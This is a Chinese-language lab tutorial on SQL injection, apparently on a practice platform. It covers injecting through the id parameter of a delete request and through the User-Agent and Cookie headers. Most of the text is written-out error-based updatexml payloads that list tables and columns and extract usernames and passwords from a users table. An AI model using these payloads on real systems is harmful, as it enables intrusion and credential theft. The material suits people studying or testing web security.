目录
delete注入
delete是删除的意思,我们肯定要有东西删,先随便输入一些留言。
点击删除抓包
在get数据中发现参数id,猜测id就是注入点,id参数后加单引号,报错了,说明注入点找对了
构建pyload (+的作用是代替空格)
56+or+updatexml(1,concat(0x7e,database()),0)
注意:
1.以下pyload在burp中需要使用Ctrl+U进行编码才能生效
2.和之前的一样,查询数据长度为31,所以要想将数据全部查询出来需要多次查询并拼接,我这里每次查询一次,不再拼接了。
查询表
id=56 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
查询列
id=56 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1)
查询passwd
id=56 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’^’,password)) from users),1,31),0x7e),1)
http头注入
右上角提示中有用户名和密码
输入用户名密码,登录
抓包
将User-Agent的值改为1’,发包过去报错了,说明此处存在注入点
构造查询数据库的payload:
1’ or updatexml(1,concat(0x7e,database()),0) or ’
查询其他信息的payload省略,参考之前的。
注意:不止User-Agent中可能存在注入,http头中的其他地方也有可能存在注入,下图为cookie中的注入点: